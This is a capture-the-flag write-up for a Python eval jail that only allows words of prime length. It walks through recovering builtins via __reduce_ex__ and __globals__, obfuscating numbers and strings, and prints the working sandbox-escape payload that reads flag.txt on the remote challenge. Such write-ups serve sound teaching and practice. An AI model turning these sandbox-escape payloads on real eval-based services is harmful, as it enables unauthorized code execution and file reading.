Primal

Handout

We are given a jail that runs on a remote server.

#!/usr/local/bin/python3
import re

isPrime = lambda num: num > 1 and all(num % i != 0 for i in range(2, num))

code = input("Prime Code > ")

if len(code) > 200 or not code.isascii() or "eta" in code:
    print("Relax")
    exit()

for m in re.finditer(r"\w+", code):
    if not isPrime(len(m.group(0))):
        print("Nope")
        exit()

eval(code, {'__builtins__': {}})

Our goal is to get the flag in flag.txt.

Analysing the Jail

We can see that our code needs to pass some checks before being executed in an eval with no builtins. The checks are:

The first three checks are pretty straightforward, but the last one is a bit tricky. It means that any sequence of alphanumeric characters (letters, digits, and underscores) in our code must have a length that is a prime number. With that in mind, we can create a testing environment to be able to easily test our payloads locally.

#!/usr/local/bin/python3
import re, os
from prompt_toolkit import PromptSession
from prompt_toolkit.history import FileHistory

isPrime = lambda num: num > 1 and all(num % i != 0 for i in range(2, num))

session = PromptSession(history=FileHistory(os.path.expanduser('~/.prime_code_history')))

while True:
    code = session.prompt("Prime Code > ")
    print(f"Code length: {len(code)}")

    if len(code) > 200 or not code.isascii() or "eta" in code:
        print(len(code), code.isascii(), "eta" in code)
        print("Relax")

    items = [len(m.group(0)) for m in re.finditer(r"\w+", code)]
    print(f"Items: {items}")

    for m in re.finditer(r"\w+", code):
        if not isPrime(len(m.group(0))):
            print(f"Nope for {m.group(0)} of length {len(m.group(0))}")
            break

    try:
        print(eval(code, {'__builtins__': {}}))
    except Exception as e:
        print(f"Error: {e}")

PromptSession is a tool that I started using recently, it provides a nice interactive prompt with arrow and history support.

With this environment, we can start testing some payloads.

Finding a Bypass

For all these payloads, I will mainly use this site as source because it contains a lot of interesting payloads.

The first thing we need to think about is how to retrieve the builtins. To do so, we can try to use a classical method, that goes down to object and then call __subclasses__ in order to get builtins back :

().__class__.__mro__[1].__subclasses__()[137].__init__.__builtins__`

but len("__subclasses__") = 14, which is not prime so we can’t use this method.

Another one which could be possible is by using __reduce_ex__:

__reduce_ex__(protocol, /) method of builtins.list instance
    Helper for pickle.

With protocol 3 from [], we are able to create a __newobj__ object:

>>> [].__reduce_ex__(3)
(<function __newobj__ at 0x72e1f4f468e0>, (<class 'list'>,), None, <list_iterator object at 0x72e1f4b1ab00>, None)

We can now check get this object which is the first element of the tuple:

>>> [].__reduce_ex__(3)[0]
<function __newobj__ at 0x72e1f4f468e0>

Then use __globals__["__builtins__"] to retrieve the builtins. But does this method bypass the prime restriction ?

__builtins__ is not a problem here as this is use as a string, so we can easily separate it: '__'+'bu'+'il'+'ti'+'ns'+'__'.

Numbers can be replaced using this trick found in this article:


    False => [] > []
    True => [[]] > []
    0 => -([] > [])
    -1 => ~([] > [])
    1 => -~([] > [])
    2 => 1+1 => (-~([]<[]))+(-~([]<[])) 

We can now create the first part of our payload in order to get the builtins:

([].__reduce_ex__((-~([]<[]))+(-~([]<[]))+(-~([]<[])))[-([] > [])]).__globals__['__'+'bu'+'il'+'ti'+'ns'+'__']

Perfect. We now need to get a shell or print the flag in flag.txt. The issue with getting a shell using os.system is that len("system")= 6 which is not prime. By looking at the different payload on the same site as usual, I found one that looked promising:

exit(*open("flag.txt"))

with this payload, we only access functions from builtins dictionary, so by using strings, which is more manageable than methods.

But this payload uses two builtins functions, and because there is some size limitation, it could be useful to store it in a variable using := inside eval.

Let’s first try to store them, and to get exit.

[bb:=(([].__reduce_ex__((-~([]<[]))+(-~([]<[]))+(-~([]<[])))[-([] > [])]).__globals__['__'+'bu'+'il'+'ti'+'ns'+'__']),bb['exit']]

This seems to work, let’s now try to end our payload by calling exit with *open("flag.txt") and also only making strings of prime size:

Prime Code > [bb:=(([].__reduce_ex__((-~([]<[]))+(-~([]<[]))+(-~([]<[])))[-([] > [])]).__globals__['__'+'bu'+'il'+'ti'+'ns'+'__']),(bb['ex''it'])(*(bb['op''en']('fl''ag''.txt')))]
Code length: 166
Items: [2, 13, 11, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3]
jail{flag_will_be_here_on_remote}

This seems to work locally, let’s try on the remote:

$ nc challs1.pyjail.club 24999
Prime Code > [bb:=(([].__reduce_ex__((-~([]<[]))+(-~([]<[]))+(-~([]<[])))[-([] > [])]).__globals__['__'+'bu'+'il'+'ti'+'ns'+'__']),(bb['ex''it'])(*(bb['op''en']('fl''ag''.txt')))]
jail{it_was_prbably_schizophrenia_fad4cea2cfce8}

And there is the flag: jail{it_was_prbably_schizophrenia_fad4cea2cfce8}

Conclusion

This challenge was a pretty fun one, not the hardest, but only allowing words of prime number size is quite exotic.